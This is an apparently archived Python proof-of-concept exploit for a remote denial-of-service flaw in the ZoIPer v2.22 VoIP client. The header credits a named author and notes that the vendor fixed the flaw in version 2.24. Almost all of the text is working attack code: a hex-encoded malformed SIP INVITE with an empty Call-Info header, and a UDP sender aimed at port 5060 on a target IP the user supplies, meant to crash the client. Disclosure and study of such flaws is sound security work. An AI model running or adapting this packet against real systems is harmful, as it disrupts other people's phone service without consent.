ZoIPer Call-Info Denial Of Service

`#!/usr/bin/python  
  
# ZoIPer v2.22 Call-Info Remote Denial Of Service.  
# Remote Crash P.O.C.  
# Author: Tomer Bitton (Gr33n_G0bL1n)  
# Tested on Windows XP SP2 , SP3 , Ubuntu 8.10  
#  
# Vendor Notified on: 21/09/2009  
# Vendor Fix: Fixed in version 2.24 Library 5324  
#  
# Bad Chars: \x20 , \x09  
  
import sys  
import socket  
import os  
  
  
def main(argc , argv):  
  
if len(sys.argv) != 2:  
os.system("cls")  
sys.exit("Usage: " + sys.argv[0] + " <target_ip>\n")  
  
target_host = sys.argv[1]  
target_port = 5060  
  
evil_packet = "\x49\x4e\x56\x49\x54\x45\x20\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31"+\  
"\x30\x2e\x30\x2e\x30\x2e\x31\x20\x53\x49\x50\x2f\x32\x2e\x30\x0d"+\  
"\x0a\x56\x69\x61\x3a\x20\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44"+\  
"\x50\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31"+\  
"\x3a\x31\x32\x39\x38\x3b\x62\x72\x61\x6e\x63\x68\x3d\x7a\x39\x68"+\  
"\x47\x34\x62\x4b\x4a\x52\x6e\x54\x67\x67\x76\x4d\x47\x6c\x2d\x36"+\  
"\x32\x33\x33\x0d\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72\x64"+\  
"\x73\x3a\x20\x37\x30\x0d\x0a\x46\x72\x6f\x6d\x3a\x20\x4d\x6f\x72"+\  
"\x70\x68\x65\x75\x73\x20\x3c\x73\x69\x70\x3a\x4d\x6f\x72\x70\x68"+\  
"\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31"+\  
"\x33\x31\x3e\x3b\x74\x61\x67\x3d\x66\x37\x6d\x58\x5a\x71\x67\x71"+\  
"\x5a\x79\x2d\x36\x32\x33\x33\x0d\x0a\x54\x6f\x3a\x20\x4e\x65\x6f"+\  
"\x20\x3c\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31\x30\x2e\x30\x2e\x30"+\  
"\x2e\x31\x3e\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20\x77\x53"+\  
"\x48\x68\x48\x6a\x6e\x67\x39\x39\x2d\x36\x32\x33\x33\x40\x31\x39"+\  
"\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31\x0d\x0a\x43\x53"+\  
"\x65\x71\x3a\x20\x36\x32\x33\x33\x20\x49\x4e\x56\x49\x54\x45\x0d"+\  
"\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x3c\x73\x69\x70\x3a\x4d"+\  
"\x6f\x72\x70\x68\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e"+\  
"\x35\x37\x2e\x31\x33\x31\x3e\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74"+\  
"\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69"+\  
"\x6f\x6e\x2f\x73\x64\x70\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x6e\x66"+\  
"\x6f\x3a\x20\x20\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c"+\  
"\x65\x6e\x67\x74\x68\x3a\x20\x31\x32\x35\x0d\x0a\x0d\x0a"  
  
os.system("cls")   
print "[+] ZoIPer Call-Info Remote Denial Of Service\r\n"  
print "[+] Exploited By Gr33n_G0bL1n\r\n"  
print "[+] Connecting to %s on port %d\r\n" % (target_host,target_port)  
  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
try:  
s.connect((target_host,target_port))  
print "[+] Trying To Send Evil Packet...\r\n"  
s.sendall(evil_packet)  
s.close()  
print "[+] Done!\r\n"  
except:  
print "[x] Connection Error!\r\n"  
  
  
if (__name__ == "__main__"):  
sys.exit(main(len(sys.argv), sys.argv))  
`